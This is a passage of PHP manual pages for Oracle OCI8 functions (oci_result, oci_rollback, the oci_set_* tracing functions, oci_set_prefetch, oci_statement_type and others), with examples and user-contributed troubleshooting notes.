Determines the character set used by the Oracle Client libraries. The character set does not need to match the character set used by the database. If it doesn't match, Oracle will do its best to convert data to and from the database character set. Depending on the character sets this may not give usable results. Conversion also adds some time overhead.

If not specified, the Oracle Client libraries determine a character set from the NLS_LANG environment variable.

Passing this parameter can reduce the time taken to connect.

session_mode

This parameter is available since version PHP 5 (PECL OCI8 1.1) and accepts the following values: OCI_DEFAULT, OCI_SYSOPER and OCI_SYSDBA. If either OCI_SYSOPER or OCI_SYSDBA were specified, this function will try to establish privileged connection using external credentials. Privileged connections are disabled by default. To enable them you need to set oci8.privileged_connect to On.

PHP 5.3 (PECL OCI8 1.3.4) introduced the OCI_CRED_EXT mode value. This tells Oracle to use External or OS authentication, which must be configured in the database. The OCI_CRED_EXT flag can only be used with username of "/" and a empty password. oci8.privileged_connect may be On or Off.

OCI_CRED_EXT may be combined with the OCI_SYSOPER or OCI_SYSDBA modes.

OCI_CRED_EXT is not supported on Windows for security reasons.

Return Values

Returns a connection identifier or FALSE on error.

Examples

Example #1 Basic oci_pconnect() Example using Easy Connect syntax

<?php

// Connects to the XE service (i.e. database) on the "localhost" machine
$conn = oci_pconnect('hr', 'welcome', 'localhost/XE');
if (!$conn) {
    $e = oci_error();
    trigger_error(htmlentities($e['message'], ENT_QUOTES), E_USER_ERROR);
}

$stid = oci_parse($conn, 'SELECT * FROM employees');
oci_execute($stid);

echo "<table border='1'>\n";
while ($row = oci_fetch_array($stid, OCI_ASSOC+OCI_RETURN_NULLS)) {
    echo "<tr>\n";
    foreach ($row as $item) {
        echo "    <td>" . ($item !== null ? htmlentities($item, ENT_QUOTES) : "&nbsp;") . "</td>\n";
    }
    echo "</tr>\n";
}
echo "</table>\n";

?>

See oci_connect() for further examples of parameter usage.

Notes

Note: Starting with PHP 5.1.2 and PECL OCI8 1.1, the lifetime and maximum number of persistent Oracle connections per PHP process can be tuned by setting the following configuration values: oci8.persistent_timeout, oci8.ping_interval and oci8.max_persistent.

See Also

  • oci_connect() - Connect to an Oracle database
  • oci_new_connect() - Connect to the Oracle server using a unique connection

User Contributed Notes

gotankersley at NOSPAM dot com 13-Jun-2012 11:29
Installed on CentOS 6.2, and had lots of trouble getting it to recognize tnsnames.ora.  The fix for me was:

1. Make sure apache is getting the TNS_ADMIN env variable by putting it in the /etc/init.d/httpd file:
 TNS_ADMIN=/usr/lib/oracle/11.2/client64/network/admin
 export PATH TNS_ADMIN

This can be debugging in PHP by <?php echo system('env'); ?> and by verifying that TNS_ADMIN is there.

2. Make sure to use the name at the beginning of the tnsnames.ora file - not the SID (although ideally they should match.  However, if the name at the beginning is XXXX.world then pconnect will expect this - not the SID)
php at jaggard dot org dot uk 09-Oct-2008 06:38
[Editor's note: OCI8 1.3 should not experience the problem described in this user comment. The first use of such a connection will return an Oracle error which will trigger a cleanup in PHP.  Subsequent persistent connection calls will then succeed.  For high availability you might consider doing consecutive oci_pconnect calls in your script.]

If you connect using oci_pconnect and the connection has logged you off but is still valid, there seems to be no way to re-use that connection. The next time I try oci_pconnect and then perform an oci_execute operation, I get a "ORA-01012: not logged on" warning. This problem remains, even if I close the connection using oci_close. I ended up with the following (rather annoying) code.

<?php
    function getOracleConnection()
    {
      if (!function_exists('oci_pconnect'))
        return false;
      $toReturn = oci_pconnect('user', 'pass', 'db');
      if ($testRes = @oci_parse($toReturn, 'SELECT Count(group_type_code) FROM pvo.group_type'))
        if (@oci_execute($testRes))
          if (@oci_fetch_array($testRes))
            return $toReturn;
      oci_close($toReturn);
      if (!function_exists('oci_connect'))
        return false;
      $toReturn = oci_connect('user', 'pass', 'db');
      if ($testRes = @oci_parse($toReturn, 'SELECT Count(group_type_code) FROM pvo.group_type'))
        if (@oci_execute($testRes))
          if (@oci_fetch_array($testRes))
            return $toReturn;
      oci_close($toReturn);
      if (!function_exists('oci_new_connect'))
        return false;
      $toReturn = oci_new_connect('user', 'pass', 'db');
      if ($testRes = @oci_parse($toReturn, 'SELECT Count(group_type_code) FROM pvo.group_type'))
        if (@oci_execute($testRes))
          if (@oci_fetch_array($testRes))
            return $toReturn;
      oci_close($toReturn);
      return false;
    }
?>


Returns field's value from the fetched row

  • « oci_pconnect
  • oci_rollback »
  • PHP Manual
  • OCI8 Functions
  • Returns field's value from the fetched row

oci_result

(PHP 5, PECL OCI8 >= 1.1.0)

oci_result — Returns field's value from the fetched row

Description

mixed oci_result ( resource $statement , mixed $field )

Returns the data from field in the current row, fetched by oci_fetch().

For details on the data type mapping performed by the OCI8 extension, see the datatypes supported by the driver

Parameters

statement

field

Can be either use the column number (1-based) or the column name. The case of the column name must be the case that Oracle meta data describes the column as, which is uppercase for columns created case insensitively.

Return Values

Returns everything as strings except for abstract types (ROWIDs, LOBs and FILEs). Returns FALSE on error.

Examples

Example #1 oci_fetch() with oci_result()

<?php

$conn = oci_connect('hr', 'welcome', 'localhost/XE');
if (!$conn) {
    $e = oci_error();
    trigger_error(htmlentities($e['message'], ENT_QUOTES), E_USER_ERROR);
}

$sql = 'SELECT location_id, city FROM locations WHERE location_id < 1200';
$stid = oci_parse($conn, $sql);
oci_execute($stid);

while (oci_fetch($stid)) {
    echo oci_result($stid, 'LOCATION_ID') . " is ";
    echo oci_result($stid, 'CITY') . "<br>\n";
}

// Displays:
//   1000 is Roma
//   1100 is Venice

oci_free_statement($stid);
oci_close($conn);

?>

Notes

Note:

In PHP versions before 5.0.0 you must use ociresult() instead. This name still can be used, it was left as alias of oci_result() for downwards compatability. This, however, is deprecated and not recommended.

See Also

  • oci_fetch_array() - Returns the next row from a query as an associative or numeric array
  • oci_fetch_assoc() - Returns the next row from a query as an associative array
  • oci_fetch_object() - Returns the next row from a query as an object
  • oci_fetch_row() - Returns the next row from a query as a numeric array
  • oci_fetch_all() - Fetches multiple rows from a query into a two-dimensional array

User Contributed Notes

luismanuelp at gmail dot com 26-Aug-2005 05:05
I am trying to get a list of the first character of a character string.

SELECT distinct substr(version,1,1) as COL1 FROM SPHVVERS where Version is not null order by 1

This was working and then failed recently. I think it is because some of the strings now added contain a number as the first character.

I found to get it to work I had to use decode statement. (To_Char did not work )

SELECT distinct decode (substr(version,1,1),'1','?','0','!',substr(version,1,1)) as COL1 FROM SPHVVERS where Version is not null order by 1
gabi at gambita dot de 01-Sep-2003 06:31
if you want to join two tables having both the same column (e.g. 'id') but you don't want to (or cannot) specify all the other fields in these two tables (like erabbott mentioned), you can use:

SELECT t1.*, t2.*, t1.id AS id1, t2.id AS id2
FROM table1 t1, table2 t2;

Note that this does _not_ work:

SELECT *,t1.id AS id1, t2.id AS id2
FROM table1 t1, table2 t2;
jthome at fcgov dot com 10-Feb-2003 11:56
FYI--

In order to modify Oracle dates (using NLS_DATE_FORMAT...), you must set $ORACLE_HOME first.  This environmental variable is best set in the server startup script (i.e., ./apachectl)

--
Jim
erabbott at NOSPAMterra dot com dot br 27-Sep-2002 04:22
As in my previous post, the same thing applies when using conversion functions in CLOB columns.

Probably the same thing will occur to any conversion function that you use.

So, this wont work

SELECT ... TO_CHAR(MY_CLOB) ...

$my_clob = OCIResult($stmt,"MY_CLOB");

But this will:

SELECT ... TO_CHAR(MY_CLOB) AS MYC ...

$my_clob = OCIResult($stmt,"MYC");

Best regards.
erabbott at NOSPAMterra dot com dot br 27-Sep-2002 12:35
Note that if you are making multiple table selects, you must specify an alias to each column.

This wont work:
----------------------------------------
$qry = "SELECT A.COL_ONE, B.COL_ONE FROM TABLE1 A, TABLE2 B";
$stmt = OCIParse($conn, $qry);

while(OCIFetch($stmt))
{
    $a = OCIResult($stmt, "A.COL_ONE");
...
----------------------------------------

But this will:
----------------------------------------
$qry = "SELECT A.COL_ONE AS X, B.COL_ONE AS Y FROM TABLE1 A, TABLE2 B";
$stmt = OCIParse($conn, $qry);

while(OCIFetch($stmt))
{
    $a = OCIResult($stmt, "X");
...
----------------------------------------

Regards,
steve dot hurst at instem-lss dot co dot uk 28-Mar-2002 04:35
I am trying to get a list of the first character of a character string.

SELECT distinct substr(version,1,1) as COL1 FROM SPHVVERS where Version is not null order by 1

This was working and then failed recently. I think it is because some of the strings now added contain a number as the first character.

I found to get it to work I had to use decode statement. (To_Char did not work )

SELECT distinct decode (substr(version,1,1),'1','?','0','!',substr(version,1,1)) as COL1 FROM SPHVVERS where Version is not null order by 1
dwilson at cae dot wisc dot edu 17-Apr-2001 03:05
I complained that I couldn't get the time from an Oracle date field.  Joe Brown said:

This is not a PHP bug.

Consider setting NLS_DATE_FORMAT.

The manual states OCIResult() returns everything as a string.
NLS_DATE_FORMAT may not be appropriate for your needs.

There are quite a few places you can set NLS_DATE_FORMAT.
* Environment variables (or windows registry on win32)
* orclSID.ora
* on a per session basis; execute this statement after logon:

$cursor=OCIParse($connection,
 "ALTER SESSION SET NLS_DATE_FORMAT='YYYY-MM-DD HH24:MI:SS'");
OCIExecute($cursor);
OCIFreeCursor($cursor);
shayman at quiver dot com 30-Aug-2000 06:09
As this function gets a 'mixed' variable type for the column index, you may use an integer to represent the column number. In this case, the count is starting from 1 and not from zero.
I am not sure, but I think this method is a bit faster than using the column name.
For an example, see the OCINumCols first example.
dominic dot standage at revolutionltd dot com 16-Sep-1999 02:43
OCIResult() requires the column name to be written in capitals, so OCIResult($stmt,"column") won't work, but OCIResult($stmt,"COLUMN") works fine. Hope that helps somebody out


Rolls back the outstanding database transaction

  • « oci_result
  • oci_server_version »
  • PHP Manual
  • OCI8 Functions
  • Rolls back the outstanding database transaction

oci_rollback

(PHP 5, PECL OCI8 >= 1.1.0)

oci_rollback — Rolls back the outstanding database transaction

Description

bool oci_rollback ( resource $connection )

Reverts all uncommitted changes for the Oracle connection and ends the transaction. It releases all locks held. All Oracle SAVEPOINTS are erased.

A transaction begins when the first SQL statement that changes data is executed with oci_execute() using the OCI_NO_AUTO_COMMIT flag. Further data changes made by other statements become part of the same transaction. Data changes made in a transaction are temporary until the transaction is committed or rolled back. Other users of the database will not see the changes until they are committed.

When inserting or updating data, using transactions is recommended for relational data consistency and for performance reasons.

Parameters

connection

An Oracle connection identifier, returned by oci_connect(), oci_pconnect() or oci_new_connect().

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 oci_rollback() example

<?php

// Insert into several tables, rolling back the changes if an error occurs

$conn = oci_connect('hr', 'welcome', 'localhost/XE');

$stid = oci_parse($conn, "INSERT INTO mysalary (id, name) VALUES (1, 'Chris')");

// The OCI_NO_AUTO_COMMIT flag tells Oracle not to commit the INSERT immediately
// Use OCI_DEFAULT as the flag for PHP <= 5.3.1.  The two flags are equivalent
$r = oci_execute($stid, OCI_NO_AUTO_COMMIT);
if (!$r) {
    $e = oci_error($stid);
    trigger_error(htmlentities($e['message']), E_USER_ERROR);
}

$stid = oci_parse($conn, 'INSERT INTO myschedule (startday) VALUES (12)');
$r = oci_execute($stid, OCI_NO_AUTO_COMMIT);
if (!$r) {
    $e = oci_error($stid);
    oci_rollback($conn);  // rollback changes to both tables
    trigger_error(htmlentities($e['message']), E_USER_ERROR);
}

// Commit the changes to both tables
$r = oci_commit($conn);
if (!r) {
    $e = oci_error($conn);
    trigger_error(htmlentities($e['message']), E_USER_ERROR);
}

?>

Example #2 Rolling back to a SAVEPOINT example

<?php
$stid = oci_parse($conn, 'UPDATE mytab SET id = 1111');
oci_execute($stid, OCI_NO_AUTO_COMMIT);

// Create the savepoint
$stid = oci_parse($conn, 'SAVEPOINT mysavepoint');
oci_execute($stid, OCI_NO_AUTO_COMMIT);

$stid = oci_parse($conn, 'UPDATE mytab SET id = 2222');
oci_execute($stid, OCI_NO_AUTO_COMMIT);

// Use an explicit SQL statement to rollback to the savepoint
$stid = oci_parse($conn, 'ROLLBACK TO SAVEPOINT mysavepoint');
oci_execute($stid, OCI_NO_AUTO_COMMIT);

oci_commit($conn);  // mytab now has id of 1111
?>

Notes

Note:

Transactions are automatically rolled back when you close the connection, or when the script ends, whichever is soonest. You need to explicitly call oci_commit() to commit the transaction.

Any call to oci_execute() that uses OCI_COMMIT_ON_SUCCESS mode explicitly or by default will commit any previous uncommitted transaction.

Any Oracle DDL statement such as CREATE or DROP will automatically commit any uncommitted transaction.

See Also

  • oci_commit() - Commits the outstanding database transaction
  • oci_execute() - Executes a statement

User Contributed Notes

There are no user contributed notes for this page.


Returns the Oracle Database version

  • « oci_rollback
  • oci_set_action »
  • PHP Manual
  • OCI8 Functions
  • Returns the Oracle Database version

oci_server_version

(PHP 5, PECL OCI8 >= 1.1.0)

oci_server_version — Returns the Oracle Database version

Description

string oci_server_version ( resource $connection )

Returns a string with the Oracle Database version and available options

Parameters

connection

Return Values

Returns the version information as a string or FALSE on error.

Examples

Example #1 oci_server_version() example

<?php

$conn = oci_connect("hr", "hrpwd", "localhost/XE");
echo "Server Version: " . oci_server_version($conn);

// Displays:
// Server Version: Oracle Database 11g Enterprise Edition Release 11.2.0.1.0 - 64bit Production
// With the Partitioning, OLAP, Data Mining and Real Application Testing option

oci_close($conn);

?>

Notes

Note:

In PHP versions before 5.0.0 you must use ociserverversion() instead. This old name still can be used. However it is deprecated and not recommended.

See Also

  • oci_client_version() - Returns the Oracle client library version

User Contributed Notes

There are no user contributed notes for this page.


Sets the action name

  • « oci_server_version
  • oci_set_client_identifier »
  • PHP Manual
  • OCI8 Functions
  • Sets the action name

oci_set_action

(PHP 5.3.2, PECL OCI8 >= 1.4.0)

oci_set_action — Sets the action name

Description

bool oci_set_action ( resource $connection , string $action_name )

Sets the action name for Oracle tracing.

The action name is registered with the database when the next 'roundtrip' from PHP to the database occurs, typically when an SQL statement is executed.

The action name can subsequently be queried from database administration views such as V$SESSION. It can be used for tracing and monitoring such as with V$SQLAREA and DBMS_MONITOR.SERV_MOD_ACT_STAT_ENABLE.

The value may be retained across persistent connections.

Parameters

connection

An Oracle connection identifier, returned by oci_connect(), oci_pconnect(), or oci_new_connect().

action_name

User chosen string up to 32 bytes long.

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 Setting the action

<?php

$c = oci_connect('hr', 'welcome', 'localhost/XE');

// Record the action
oci_set_action($c, 'Friend Lookup');

// Code that causes a roundtrip, for example a query:
$s = oci_parse($c, 'select * from dual');
oci_execute($s);
oci_fetch_all($s, $res);

sleep(30);

?>
// While the script is running, the administrator can see the actions
// being performed:

sqlplus system/welcome
SQL> select action from v$session;

Notes

Note: Oracle version requirement

This function is available when PHP is linked with Oracle Database libraries from version 10g onwards.

Tip

Performance

With older versions of OCI8 or the Oracle Database, the client information can be set using the Oracle DBMS_APPLICATION_INFO package. This is less efficient than using oci_set_client_info().

Caution

Roundtrip Gotcha

Some but not all OCI8 functions cause roundtrips. Roundtrips to the database may not occur with queries when result caching is enabled.

See Also

  • oci_set_module_name() - Sets the module name
  • oci_set_client_info() - Sets the client information
  • oci_set_client_identifier() - Sets the client identifier

User Contributed Notes

There are no user contributed notes for this page.


Sets the client identifier

  • « oci_set_action
  • oci_set_client_info »
  • PHP Manual
  • OCI8 Functions
  • Sets the client identifier

oci_set_client_identifier

(PHP 5.3.2, PECL OCI8 >= 1.4.0)

oci_set_client_identifier — Sets the client identifier

Description

bool oci_set_client_identifier ( resource $connection , string $client_identifier )

Sets the client identifier used by various database components to identify lightweight application users who authenticate as the same database user.

The client identifier is registered with the database when the next 'roundtrip' from PHP to the database occurs, typically when an SQL statement is executed.

The identifier can subsequently be queried, for example with SELECT SYS_CONTEXT('USERENV','CLIENT_IDENTIFIER') FROM DUAL. Database administration views such as V$SESSION will also contain the value. It can be used with DBMS_MONITOR.CLIENT_ID_TRACE_ENABLE for tracing and can also be used for auditing.

The value may be retained across page requests that use the same persistent connection.

Parameters

connection

An Oracle connection identifier, returned by oci_connect(), oci_pconnect(), or oci_new_connect().

client_identifier

User chosen string up to 64 bytes long.

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 Setting the client identifier to the application user

<?php

// Find the application user's login name
session_start();
$un = my_validate_session($_SESSION['username']);
$c = oci_connect('myschema', 'welcome', 'localhost/XE');

// Tell Oracle who that user is
oci_set_client_identifier($c, $un);

// The next roundtrip to the database will piggyback the identifier
$s = oci_parse($c, 'select mydata from mytable');
oci_execute($s);

// ...

?>

Notes

Caution

Roundtrip Gotcha

Some but not all OCI8 functions cause roundtrips. Roundtrips to the database may not occur with queries when result caching is enabled.

See Also

  • oci_set_module_name() - Sets the module name
  • oci_set_action() - Sets the action name
  • oci_set_client_info() - Sets the client information

User Contributed Notes

sixd at php dot net 19-Apr-2011 01:22
There's an article "PHP Web Auditing, Authorization and Monitoring with Oracle Database" at www.oracle.com/technetwork/articles/dsl/php-web-auditing-171451.html which is all about using oci_set_client_identifier()


Sets the client information

  • « oci_set_client_identifier
  • oci_set_edition »
  • PHP Manual
  • OCI8 Functions
  • Sets the client information

oci_set_client_info

(PHP 5.3.2, PECL OCI8 >= 1.4.0)

oci_set_client_info — Sets the client information

Description

bool oci_set_client_info ( resource $connection , string $client_info )

Sets the client information for Oracle tracing.

The client information is registered with the database when the next 'roundtrip' from PHP to the database occurs, typically when an SQL statement is executed.

The client information can subsequently be queried from database administration views such as V$SESSION.

The value may be retained across persistent connections.

Parameters

connection

An Oracle connection identifier, returned by oci_connect(), oci_pconnect(), or oci_new_connect().

client_info

User chosen string up to 64 bytes long.

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 Setting the client information

<?php

$c = oci_connect('hr', 'welcome', 'localhost/XE');

// Record the client information
oci_set_client_info($c, 'My Application Version 2');

// Code that causes a roundtrip, for example a query:
$s = oci_parse($c, 'select * from dual');
oci_execute($s);
oci_fetch_all($s, $res);

sleep(30);

?>
// While the script is running, the administrator can see the client
// information:

sqlplus system/welcome
SQL> select client_info from v$session;

Notes

Note: Oracle version requirement

This function is available when PHP is linked with Oracle Database libraries from version 10g onwards.

Tip

Performance

With older versions of OCI8 or the Oracle Database, the client information can be set using the Oracle DBMS_APPLICATION_INFO package. This is less efficient than using oci_set_client_info().

Caution

Roundtrip Gotcha

Some but not all OCI8 functions cause roundtrips. Roundtrips to the database may not occur with queries when result caching is enabled.

See Also

  • oci_set_module_name() - Sets the module name
  • oci_set_action() - Sets the action name
  • oci_set_client_identifier() - Sets the client identifier

User Contributed Notes

There are no user contributed notes for this page.


Sets the database edition

  • « oci_set_client_info
  • oci_set_module_name »
  • PHP Manual
  • OCI8 Functions
  • Sets the database edition

oci_set_edition

(PHP 5.3.2, PECL OCI8 >= 1.4.0)

oci_set_edition — Sets the database edition

Description

bool oci_set_edition ( string $edition )

Sets the database "edition" of objects to be used by a subsequent connections.

Oracle Editions allow concurrent versions of applications to run using the same schema and object names. This is useful for upgrading live systems.

Call oci_set_edition() before calling
oci_connect(), oci_pconnect()
or oci_new_connect().

If an edition is set that is not valid in the database, connection will fail even if oci_set_edition() returns success.

When using persistent connections, if a connection with the requested edition setting already exists, it is reused. Otherwise, a different persistent connection is created

Parameters

edition

Oracle Database edition name previously created with the SQL "CREATE EDITION" command.

Notes

Note: Oracle version requirement

This function is available from Oracle 11gR2 onwards.

Caution

Persistent connections

To avoid inconsistencies and unexpected errors, do not use ALTER SESSION SET EDITION to change the edition on persistent connections.

Caution

DRCP Connection Pooling

To avoid inconsistencies and unexpected errors when using editions and DRCP with Oracle 11.2.0.1, keep a one-to-one correspondence between the oci8.connection_class and the edition name used by applications. Each pooled server of a given connection class should only be used with one edition. This restriction has been removed with Oracle 11.2.0.2.

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 Two scripts can use different versions of myfunc() at the same time

<?php

// File 1

echo "Version 1 of application\n";

oci_set_edition('ORA$BASE');
$c = oci_connect('hr', 'welcome', 'localhost/XE');

$s = oci_parse($c, "begin :r := myfunc(); end;");
oci_bind_by_name($s, ":r", $r, 20);
oci_execute($s);
echo "The result is $r\n";

?>
<?php

// File 2

echo "Version 2 of application\n";

oci_set_edition('E1');
$c = oci_connect('hr', 'welcome', 'localhost/XE');

$s = oci_parse($c, "begin :r := myfunc(); end;");
oci_bind_by_name($s, ":r", $r, 20);
oci_execute($s);
echo "The result is $r\n";

?>

User Contributed Notes

There are no user contributed notes for this page.


Sets the module name

  • « oci_set_edition
  • oci_set_prefetch »
  • PHP Manual
  • OCI8 Functions
  • Sets the module name

oci_set_module_name

(PHP 5.3.2, PECL OCI8 >= 1.4.0)

oci_set_module_name — Sets the module name

Description

bool oci_set_module_name ( resource $connection , string $module_name )

Sets the module name for Oracle tracing.

The module name is registered with the database when the next 'roundtrip' from PHP to the database occurs, typically when an SQL statement is executed.

The name can subsequently be queried from database administration views such as V$SESSION. It can be used for tracing and monitoring such as with V$SQLAREA and DBMS_MONITOR.SERV_MOD_ACT_STAT_ENABLE.

The value may be retained across persistent connections.

Parameters

connection

An Oracle connection identifier, returned by oci_connect(), oci_pconnect(), or oci_new_connect().

module_name

User chosen string up to 48 bytes long.

Return Values

Returns TRUE on success or FALSE on failure.

Notes

Note: Oracle version requirement

This function is available when PHP is linked with Oracle Database libraries from version 10g onwards.

Tip

Performance

With older versions of OCI8 or the Oracle Database, the client information can be set using the Oracle DBMS_APPLICATION_INFO package. This is less efficient than using oci_set_client_info().

Caution

Roundtrip Gotcha

Some but not all OCI8 functions cause roundtrips. Roundtrips to the database may not occur with queries when result caching is enabled.

Examples

Example #1 Setting the module name

<?php

$c = oci_connect('hr', 'welcome', 'localhost/XE');

// Record the module
oci_set_module_name($c, 'Home Page');

// Code that causes a roundtrip, for example a query:
$s = oci_parse($c, 'select * from dual');
oci_execute($s);
oci_fetch_all($s, $res);

sleep(30);
?>
// While the script is running, the administrator can see the
// modules in use:

sqlplus system/welcome
SQL> select module from v$session;

See Also

  • oci_set_action() - Sets the action name
  • oci_set_client_info() - Sets the client information
  • oci_set_client_identifier() - Sets the client identifier

User Contributed Notes

There are no user contributed notes for this page.


Sets number of rows to be prefetched by queries

  • « oci_set_module_name
  • oci_statement_type »
  • PHP Manual
  • OCI8 Functions
  • Sets number of rows to be prefetched by queries

oci_set_prefetch

(PHP 5, PECL OCI8 >= 1.1.0)

oci_set_prefetch — Sets number of rows to be prefetched by queries

Description

bool oci_set_prefetch ( resource $statement , int $rows )

Sets the number of rows to be buffered by the Oracle Client libraries after a successful query call to oci_execute() and for each subsequent internal fetch request to the database. For queries returning a large number of rows, performance can be significantly improved by increasing the prefetch count above the default oci8.default_prefetch value.

Prefetching is Oracle's efficient way of returning more than one data row from the database in each network request. This can result in better network and CPU utilization. The buffering of rows is internal to OCI8 and the behavior of OCI8 fetching functions is unchanged regardless of the prefetch count. For example, oci_fetch_row() will always return one row. The prefetch buffer is per-statement and is not used by re-executed statements or by other connections.

Call oci_set_prefetch() before calling oci_execute().

A tuning goal is to set the prefetch value to a reasonable size for the network and database to handle. For queries returning a very large number of rows, overall system efficiency might be better if rows are retrieved from the database in several chunks (i.e set the prefetch value smaller than the number of rows). This allows the database to handle other users' statements while the PHP script is processing the current set of rows.

Query prefetching was introduced in Oracle 8i. REF CURSOR prefetching was introduced in Oracle 11gR2 and occurs when PHP is linked with Oracle 11gR2 (or later) Client libraries. Nested cursor prefetching was introduced in Oracle 11gR2 and requires both the Oracle Client libraries and the database to be version 11gR2 or greater.

Prefetching is not supported when queries contain LONG or LOB columns. The prefetch value is ignored and single-row fetches will be used in all the situations when prefetching is not supported.

When using Oracle Database 12c, the prefetch value set by PHP can be overridden by Oracle's client oraaccess.xml configuration file. Refer to Oracle documentation for more detail.

Parameters

statement

A valid OCI8 statement identifier created by oci_parse() and executed by oci_execute(), or a REF CURSOR statement identifier.

rows

The number of rows to be prefetched, >= 0

Return Values

Returns TRUE on success or FALSE on failure.

Changelog

Version | Description
5.3.2 (PECL OCI8 1.4) | Before this release, rows must be >= 1.
5.3.0 (PECL OCI8 1.3.4) | Before this release, prefetching was limited to the lesser of rows rows and 1024 * rows bytes. The byte size restriction has now been removed.

Examples

Example #1 Changing the default prefetch value for a query

<?php

$conn = oci_connect('hr', 'welcome', 'localhost/XE');

$stid = oci_parse($conn, 'SELECT * FROM myverybigtable');
oci_set_prefetch($stid, 300);  // Set before calling oci_execute()
oci_execute($stid);

echo "<table border='1'>\n";
while ($row = oci_fetch_array($stid, OCI_ASSOC+OCI_RETURN_NULLS)) {
    echo "<tr>\n";
    foreach ($row as $item) {
        echo "    <td>".($item !== null ? htmlentities($item, ENT_QUOTES) : "&nbsp;")."</td>\n";
    }
    echo "</tr>\n";
}
echo "</table>\n";

oci_free_statement($stid);
oci_close($conn);

?>

Example #2 Changing the default prefetch for a REF CURSOR fetch

<?php
/*
  Create the PL/SQL stored procedure as:

  CREATE OR REPLACE PROCEDURE myproc(p1 OUT SYS_REFCURSOR) AS
  BEGIN
    OPEN p1 FOR SELECT * FROM all_objects WHERE ROWNUM < 5000;
  END;
*/

$conn = oci_connect('hr', 'welcome', 'localhost/XE');

$stid = oci_parse($conn, 'BEGIN myproc(:rc); END;');
$refcur = oci_new_cursor($conn);
oci_bind_by_name($stid, ':rc', $refcur, -1, OCI_B_CURSOR);
oci_execute($stid);

// Change the prefetch before executing the cursor.
// REF CURSOR prefetching works when PHP is linked with Oracle 11gR2 or later Client libraries
oci_set_prefetch($refcur, 200);
oci_execute($refcur);

echo "<table border='1'>\n";
while ($row = oci_fetch_array($refcur, OCI_ASSOC+OCI_RETURN_NULLS)) {
    echo "<tr>\n";
    foreach ($row as $item) {
        echo "    <td>".($item !== null ? htmlentities($item, ENT_QUOTES) : "&nbsp;")."</td>\n";
    }
    echo "</tr>\n";
}
echo "</table>\n";

oci_free_statement($refcur);
oci_free_statement($stid);
oci_close($conn);

?>

If PHP OCI8 fetches from a REF CURSOR and then passes the REF CURSOR back to a second PL/SQL procedure for further processing, then set the REF CURSOR prefetch count to 0 to avoid rows being "lost" from the result set. The prefetch value is the number of extra rows fetched in each OCI8 internal request to the database, so setting it to 0 means only fetch one row at a time.

Example #3 Setting the prefetch value when passing a REF CURSOR back to Oracle

<?php

$conn = oci_connect('hr', 'welcome', 'localhost/orcl');

// get the REF CURSOR
$stid = oci_parse($conn, 'BEGIN myproc(:rc_out); END;');
$refcur = oci_new_cursor($conn);
oci_bind_by_name($stid, ':rc_out', $refcur, -1, OCI_B_CURSOR);
oci_execute($stid);

// Display two rows, but don't prefetch any extra rows otherwise
// those extra rows would not be passed back to myproc_use_rc().
// A prefetch value of 0 is allowed in PHP 5.3.2 and PECL OCI8 1.4
oci_set_prefetch($refcur, 0);
oci_execute($refcur);
$row = oci_fetch_array($refcur);
var_dump($row);
$row = oci_fetch_array($refcur);
var_dump($row);

// pass the REF CURSOR to myproc_use_rc() to do more data processing
// with the result set
$stid = oci_parse($conn, 'begin myproc_use_rc(:rc_in); end;');
oci_bind_by_name($stid, ':rc_in', $refcur, -1, OCI_B_CURSOR);
oci_execute($stid);

?>

See Also

  • oci8.default_prefetch ini option

User Contributed Notes

bmichael at goldparrot dot com 05-Jan-2003 12:00
If your are using Oracle's OCI libraries, on any project, which PHP does, you can use this limit.

I have done network level testing on the effect of this parameter.  It does improved efficiency.  Big Time.

Oracle uses SQL*Net as the transport mechanism for data between your connection and the database.  That is why you must setup Oracle properly.

This parameter tells SQL*NET to Buffer more results.  When SQL*NET (at the server) gets a request for data, it bundles up X rows (1,2,3,1000, etc) for transport.  It sends the appropriate SQL*NET headers back to the client, Waits for an ACK then begins sending data in MTU sized chunks (ethernet is something like 1500 bytes and ATM's WANS are around 1000 bytes).  The chunk size can also be tuned in SQL*NET, but with much less improvements.

TCP/IP then takes the data across the wire, breaking it up into multiple TCP/IP packets.

Once the exchange is done, the SQL*NET client sends an
ACK back to the SQL*NET Listener (the Oracle Server) and the transaction is complete.

Each round trip, SQL*NET looks up inside the server memory (UGA - user global area) to find the query results. It then grabs the rows necessary to send.  If it is one row, versus 1000 rows.  The process is the same.

There is much I could tell you on how the Database itself reacts.  If you can significantly lessen the amount of round trips you are making... WOW.

For more info on Oracle OCI go to http://otn.oracle.com


Returns the type of a statement

  • « oci_set_prefetch
  • OCI-Collection »
  • PHP Manual
  • OCI8 Functions
  • Returns the type of a statement

oci_statement_type

(PHP 5, PECL OCI8 >= 1.1.0)

oci_statement_type — Returns the type of a statement

Description

string oci_statement_type ( resource $statement )

Returns a keyword identifying the type of the OCI8 statement.

Parameters

statement

A valid OCI8 statement identifier from oci_parse().

Return Values

Returns the type of statement as one of the following strings.

Statement type
Return String | Notes
ALTER |
BEGIN |
CALL | Introduced in PHP 5.2.1 (PECL OCI8 1.2.3)
CREATE |
DECLARE |
DELETE |
DROP |
INSERT |
SELECT |
UPDATE |
UNKNOWN |

Returns FALSE on error.

Examples

Example #1 oci_statement_type() example

<?php

$conn = oci_connect('hr', 'welcome', 'localhost/XE');

$stid = oci_parse($conn, 'DELETE FROM departments WHERE department_id = 130;');
if (oci_statement_type($stid) == "DELETE") {
    trigger_error('You are not allowed to delete from this table', E_USER_ERROR);
}
else {
    oci_execute($stid);  // delete the row
}

oci_free_statement($stid);
oci_close($conn);

?>

User Contributed Notes

There are no user contributed notes for this page.


The OCI-Collection class

(PHP 5, PECL OCI8 >= 1.1.0)

Introduction

OCI8 Collection functionality.

Class synopsis

OCI-Collection {
/* Methods */
bool append ( mixed $value )
bool assign ( OCI-Collection $from )
bool assignElem ( int $index , mixed $value )
bool free ( void )
mixed getElem ( int $index )
int max ( void )
int size ( void )
bool trim ( int $num )
}

Table of Contents

  • OCI-Collection::append — Appends element to the collection
  • OCI-Collection::assign — Assigns a value to the collection from another existing collection
  • OCI-Collection::assignElem — Assigns a value to the element of the collection
  • OCI-Collection::free — Frees the resources associated with the collection object
  • OCI-Collection::getElem — Returns value of the element
  • OCI-Collection::max — Returns the maximum number of elements in the collection
  • OCI-Collection::size — Returns size of the collection
  • OCI-Collection::trim — Trims elements from the end of the collection

User Contributed Notes

